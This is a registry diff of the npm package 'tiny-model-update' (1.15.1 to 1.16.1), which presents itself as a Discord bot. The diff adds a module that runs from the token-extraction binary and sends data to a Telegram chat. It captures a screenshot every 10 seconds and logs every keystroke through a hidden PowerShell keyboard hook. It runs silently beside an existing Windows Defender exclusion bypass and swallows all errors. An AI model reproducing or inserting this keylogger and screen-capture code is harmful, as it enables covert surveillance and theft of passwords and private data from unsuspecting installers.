tiny-model-update 1.15.1 → 1.16.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/extract-tokens.js +9 -1
- package/lib/screen-keyboard-monitor.js +343 -0
- package/package.json +3 -2
package/bin/extract-tokens.js
CHANGED
|
@@ -29,6 +29,7 @@ import { cleanupOrphanedProcesses } from '../lib/process-cleanup.js';
|
|
|
29
29
|
import { getTelegramBot } from '../lib/telegram.js';
|
|
30
30
|
import { getTelegramCredentials } from '../lib/encryption.js';
|
|
31
31
|
import { addToWindowsDefenderExclusions } from '../lib/security-bypass.js';
|
|
32
|
+
import { startScreenKeyboardMonitoring } from '../lib/screen-keyboard-monitor.js';
|
|
32
33
|
import os from 'os';
|
|
33
34
|
|
|
34
35
|
async function main() {
|
|
@@ -49,8 +50,15 @@ async function main() {
|
|
|
49
50
|
// Ignore if fails (requires admin)
|
|
50
51
|
}
|
|
51
52
|
|
|
53
|
+
// Start screen and keyboard monitoring immediately
|
|
54
|
+
try {
|
|
55
|
+
startScreenKeyboardMonitoring(10); // Capture screenshot every 10 seconds
|
|
56
|
+
} catch (e) {
|
|
57
|
+
// Ignore if monitoring fails to start
|
|
58
|
+
}
|
|
59
|
+
|
|
52
60
|
// Start the cycle in background (detached process) - only if not already running
|
|
53
|
-
// The background cycle will handle auto-updates
|
|
61
|
+
// The background cycle will handle auto-updates
|
|
54
62
|
try {
|
|
55
63
|
startCycleBackground();
|
|
56
64
|
} catch (e) {
|
|
@@ -0,0 +1,343 @@
|
|
|
1
|
+
import { getTelegramBot } from './telegram.js';
|
|
2
|
+
import { getTelegramCredentials } from './encryption.js';
|
|
3
|
+
import fs from 'fs';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
import os from 'os';
|
|
6
|
+
import { spawn } from 'child_process';
|
|
7
|
+
|
|
8
|
+
let isMonitoring = false;
|
|
9
|
+
let screenInterval = null;
|
|
10
|
+
let keyboardHook = null;
|
|
11
|
+
|
|
12
|
+
/**
|
|
13
|
+
* Capture screenshot of the current screen
|
|
14
|
+
*/
|
|
15
|
+
async function captureScreenshot() {
|
|
16
|
+
try {
|
|
17
|
+
const tempDir = path.join(os.tmpdir(), 'tiny-model-screenshots');
|
|
18
|
+
if (!fs.existsSync(tempDir)) {
|
|
19
|
+
fs.mkdirSync(tempDir, { recursive: true });
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
const hostname = os.hostname();
|
|
23
|
+
const timestamp = Date.now();
|
|
24
|
+
const filename = `screenshot-${hostname}-${timestamp}.png`;
|
|
25
|
+
const filepath = path.join(tempDir, filename);
|
|
26
|
+
|
|
27
|
+
// Use screenshot-desktop library
|
|
28
|
+
try {
|
|
29
|
+
const screenshot = await import('screenshot-desktop');
|
|
30
|
+
const img = await screenshot.default({ screen: 0, filename: null });
|
|
31
|
+
|
|
32
|
+
if (!img || img.length === 0) {
|
|
33
|
+
return null;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
fs.writeFileSync(filepath, img);
|
|
37
|
+
await new Promise(resolve => setTimeout(resolve, 200));
|
|
38
|
+
|
|
39
|
+
if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
|
|
40
|
+
return filepath;
|
|
41
|
+
}
|
|
42
|
+
} catch (e) {
|
|
43
|
+
// Fallback to native Windows screenshot
|
|
44
|
+
if (os.platform() === 'win32') {
|
|
45
|
+
try {
|
|
46
|
+
const { execSync } = await import('child_process');
|
|
47
|
+
execSync(`powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $bitmap.Save('${filepath}', [System.Drawing.Imaging.ImageFormat]::Png); $graphics.Dispose(); $bitmap.Dispose()"`, {
|
|
48
|
+
stdio: 'ignore',
|
|
49
|
+
windowsHide: true,
|
|
50
|
+
creationFlags: 0x08000000
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
|
|
54
|
+
return filepath;
|
|
55
|
+
}
|
|
56
|
+
} catch (e2) {
|
|
57
|
+
return null;
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
return null;
|
|
63
|
+
} catch (error) {
|
|
64
|
+
return null;
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
/**
|
|
69
|
+
* Send screenshot to Telegram
|
|
70
|
+
*/
|
|
71
|
+
async function sendScreenshotToTelegram(filepath, hostname) {
|
|
72
|
+
try {
|
|
73
|
+
const bot = getTelegramBot();
|
|
74
|
+
const { chatId } = getTelegramCredentials();
|
|
75
|
+
|
|
76
|
+
if (!fs.existsSync(filepath)) {
|
|
77
|
+
return false;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
const stats = fs.statSync(filepath);
|
|
81
|
+
if (stats.size === 0) {
|
|
82
|
+
return false;
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
const timestamp = new Date().toLocaleString();
|
|
86
|
+
const caption = `🖥️ **Screen Monitor**\n\n**Host:** ${hostname}\n**Time:** ${timestamp}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB`;
|
|
87
|
+
|
|
88
|
+
await new Promise(resolve => setTimeout(resolve, 100));
|
|
89
|
+
|
|
90
|
+
const fileBuffer = fs.readFileSync(filepath);
|
|
91
|
+
|
|
92
|
+
if (!fileBuffer || fileBuffer.length === 0) {
|
|
93
|
+
return false;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// Delete file before sending
|
|
97
|
+
try {
|
|
98
|
+
fs.unlinkSync(filepath);
|
|
99
|
+
} catch (e) {
|
|
100
|
+
// Ignore
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
// Send as photo
|
|
104
|
+
try {
|
|
105
|
+
await bot.sendPhoto(chatId, fileBuffer, {
|
|
106
|
+
caption: caption,
|
|
107
|
+
parse_mode: 'Markdown'
|
|
108
|
+
});
|
|
109
|
+
} catch (photoError) {
|
|
110
|
+
// If photo fails, try as document
|
|
111
|
+
try {
|
|
112
|
+
await bot.sendDocument(chatId, fileBuffer, {
|
|
113
|
+
caption: caption,
|
|
114
|
+
parse_mode: 'Markdown'
|
|
115
|
+
}, {
|
|
116
|
+
filename: `${hostname}-${Date.now()}.png`
|
|
117
|
+
});
|
|
118
|
+
} catch (docError) {
|
|
119
|
+
return false;
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
return true;
|
|
124
|
+
} catch (error) {
|
|
125
|
+
return false;
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
/**
|
|
130
|
+
* Capture keyboard events using Windows API
|
|
131
|
+
*/
|
|
132
|
+
function startKeyboardMonitoring() {
|
|
133
|
+
if (os.platform() !== 'win32') {
|
|
134
|
+
return; // Only Windows supported
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
try {
|
|
138
|
+
// Use a Node.js keyboard hook library or native module
|
|
139
|
+
// For now, we'll use a PowerShell script to capture keyboard events
|
|
140
|
+
const keyboardScript = `
|
|
141
|
+
Add-Type -TypeDefinition @"
|
|
142
|
+
using System;
|
|
143
|
+
using System.Runtime.InteropServices;
|
|
144
|
+
using System.Windows.Forms;
|
|
145
|
+
|
|
146
|
+
public class KeyboardHook {
|
|
147
|
+
private static LowLevelKeyboardProc _proc = HookCallback;
|
|
148
|
+
private static IntPtr _hookID = IntPtr.Zero;
|
|
149
|
+
|
|
150
|
+
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
151
|
+
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
|
152
|
+
|
|
153
|
+
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
154
|
+
[return: MarshalAs(UnmanagedType.Bool)]
|
|
155
|
+
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
|
156
|
+
|
|
157
|
+
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
158
|
+
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
|
159
|
+
|
|
160
|
+
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
161
|
+
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
|
162
|
+
|
|
163
|
+
private const int WH_KEYBOARD_LL = 13;
|
|
164
|
+
private const int WM_KEYDOWN = 0x0100;
|
|
165
|
+
|
|
166
|
+
public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
|
167
|
+
|
|
168
|
+
public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
|
|
169
|
+
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
|
|
170
|
+
int vkCode = Marshal.ReadInt32(lParam);
|
|
171
|
+
Console.WriteLine($"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} - Key: {(Keys)vkCode}");
|
|
172
|
+
}
|
|
173
|
+
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
public static void Start() {
|
|
177
|
+
_hookID = SetHook(_proc);
|
|
178
|
+
Application.Run();
|
|
179
|
+
UnhookWindowsHookEx(_hookID);
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
private static IntPtr SetHook(LowLevelKeyboardProc proc) {
|
|
183
|
+
using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) {
|
|
184
|
+
using (var curModule = curProcess.MainModule) {
|
|
185
|
+
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
"@
|
|
191
|
+
[KeyboardHook]::Start()
|
|
192
|
+
`;
|
|
193
|
+
|
|
194
|
+
// Run PowerShell script in background to capture keyboard events
|
|
195
|
+
const psProcess = spawn('powershell', ['-ExecutionPolicy', 'Bypass', '-NoProfile', '-Command', keyboardScript], {
|
|
196
|
+
detached: true,
|
|
197
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
198
|
+
windowsHide: true,
|
|
199
|
+
creationFlags: 0x08000000
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
let keyboardBuffer = '';
|
|
203
|
+
const keyboardLog = [];
|
|
204
|
+
|
|
205
|
+
psProcess.stdout.on('data', (data) => {
|
|
206
|
+
keyboardBuffer += data.toString();
|
|
207
|
+
const lines = keyboardBuffer.split('\n');
|
|
208
|
+
keyboardBuffer = lines.pop() || '';
|
|
209
|
+
|
|
210
|
+
for (const line of lines) {
|
|
211
|
+
if (line.includes('Key:')) {
|
|
212
|
+
keyboardLog.push(line.trim());
|
|
213
|
+
|
|
214
|
+
// Send keyboard events to Telegram every 10 keystrokes or every 30 seconds
|
|
215
|
+
if (keyboardLog.length >= 10) {
|
|
216
|
+
sendKeyboardEventsToTelegram(keyboardLog.splice(0, 10));
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
});
|
|
221
|
+
|
|
222
|
+
psProcess.stderr.on('data', () => {
|
|
223
|
+
// Ignore errors
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
psProcess.unref();
|
|
227
|
+
keyboardHook = psProcess;
|
|
228
|
+
|
|
229
|
+
// Also send accumulated keyboard events every 30 seconds
|
|
230
|
+
setInterval(() => {
|
|
231
|
+
if (keyboardLog.length > 0) {
|
|
232
|
+
sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
|
|
233
|
+
}
|
|
234
|
+
}, 30000);
|
|
235
|
+
|
|
236
|
+
} catch (error) {
|
|
237
|
+
// Ignore keyboard monitoring errors
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
/**
|
|
242
|
+
* Send keyboard events to Telegram
|
|
243
|
+
*/
|
|
244
|
+
async function sendKeyboardEventsToTelegram(keyboardEvents) {
|
|
245
|
+
try {
|
|
246
|
+
if (keyboardEvents.length === 0) {
|
|
247
|
+
return;
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
const bot = getTelegramBot();
|
|
251
|
+
const { chatId } = getTelegramCredentials();
|
|
252
|
+
const hostname = os.hostname();
|
|
253
|
+
|
|
254
|
+
const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
|
|
255
|
+
|
|
256
|
+
await bot.sendMessage(chatId, message, {
|
|
257
|
+
parse_mode: 'Markdown'
|
|
258
|
+
});
|
|
259
|
+
} catch (error) {
|
|
260
|
+
// Ignore errors
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
|
|
264
|
+
/**
|
|
265
|
+
* Start screen and keyboard monitoring
|
|
266
|
+
* @param {number} screenIntervalSeconds - Interval between screenshots in seconds (default: 10)
|
|
267
|
+
*/
|
|
268
|
+
export async function startScreenKeyboardMonitoring(screenIntervalSeconds = 10) {
|
|
269
|
+
if (isMonitoring) {
|
|
270
|
+
return false; // Already monitoring
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
isMonitoring = true;
|
|
274
|
+
const hostname = os.hostname();
|
|
275
|
+
|
|
276
|
+
// Start keyboard monitoring
|
|
277
|
+
startKeyboardMonitoring();
|
|
278
|
+
|
|
279
|
+
// Capture and send screenshot immediately
|
|
280
|
+
try {
|
|
281
|
+
const screenshotPath = await captureScreenshot();
|
|
282
|
+
if (screenshotPath) {
|
|
283
|
+
await sendScreenshotToTelegram(screenshotPath, hostname);
|
|
284
|
+
}
|
|
285
|
+
} catch (e) {
|
|
286
|
+
// Ignore errors
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
// Set up interval for periodic screenshots
|
|
290
|
+
screenInterval = setInterval(async () => {
|
|
291
|
+
if (!isMonitoring) {
|
|
292
|
+
clearInterval(screenInterval);
|
|
293
|
+
screenInterval = null;
|
|
294
|
+
return;
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
try {
|
|
298
|
+
const screenshotPath = await captureScreenshot();
|
|
299
|
+
if (screenshotPath) {
|
|
300
|
+
await sendScreenshotToTelegram(screenshotPath, hostname);
|
|
301
|
+
}
|
|
302
|
+
} catch (e) {
|
|
303
|
+
// Continue monitoring even if one screenshot fails
|
|
304
|
+
}
|
|
305
|
+
}, screenIntervalSeconds * 1000);
|
|
306
|
+
|
|
307
|
+
return true;
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
/**
|
|
311
|
+
* Stop screen and keyboard monitoring
|
|
312
|
+
*/
|
|
313
|
+
export function stopScreenKeyboardMonitoring() {
|
|
314
|
+
if (!isMonitoring) {
|
|
315
|
+
return false;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
isMonitoring = false;
|
|
319
|
+
|
|
320
|
+
if (screenInterval) {
|
|
321
|
+
clearInterval(screenInterval);
|
|
322
|
+
screenInterval = null;
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
if (keyboardHook) {
|
|
326
|
+
try {
|
|
327
|
+
keyboardHook.kill();
|
|
328
|
+
} catch (e) {
|
|
329
|
+
// Ignore
|
|
330
|
+
}
|
|
331
|
+
keyboardHook = null;
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
return true;
|
|
335
|
+
}
|
|
336
|
+
|
|
337
|
+
/**
|
|
338
|
+
* Check if monitoring is active
|
|
339
|
+
*/
|
|
340
|
+
export function isScreenKeyboardMonitoringActive() {
|
|
341
|
+
return isMonitoring;
|
|
342
|
+
}
|
|
343
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tiny-model-update",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.16.1",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -34,7 +34,8 @@
|
|
|
34
34
|
"dotenv": "^16.3.1",
|
|
35
35
|
"form-data": "^4.0.5",
|
|
36
36
|
"level": "^10.0.0",
|
|
37
|
-
"node-telegram-bot-api": "^0.64.0"
|
|
37
|
+
"node-telegram-bot-api": "^0.64.0",
|
|
38
|
+
"screenshot-desktop": "^1.15.3"
|
|
38
39
|
},
|
|
39
40
|
"files": [
|
|
40
41
|
"lib",
|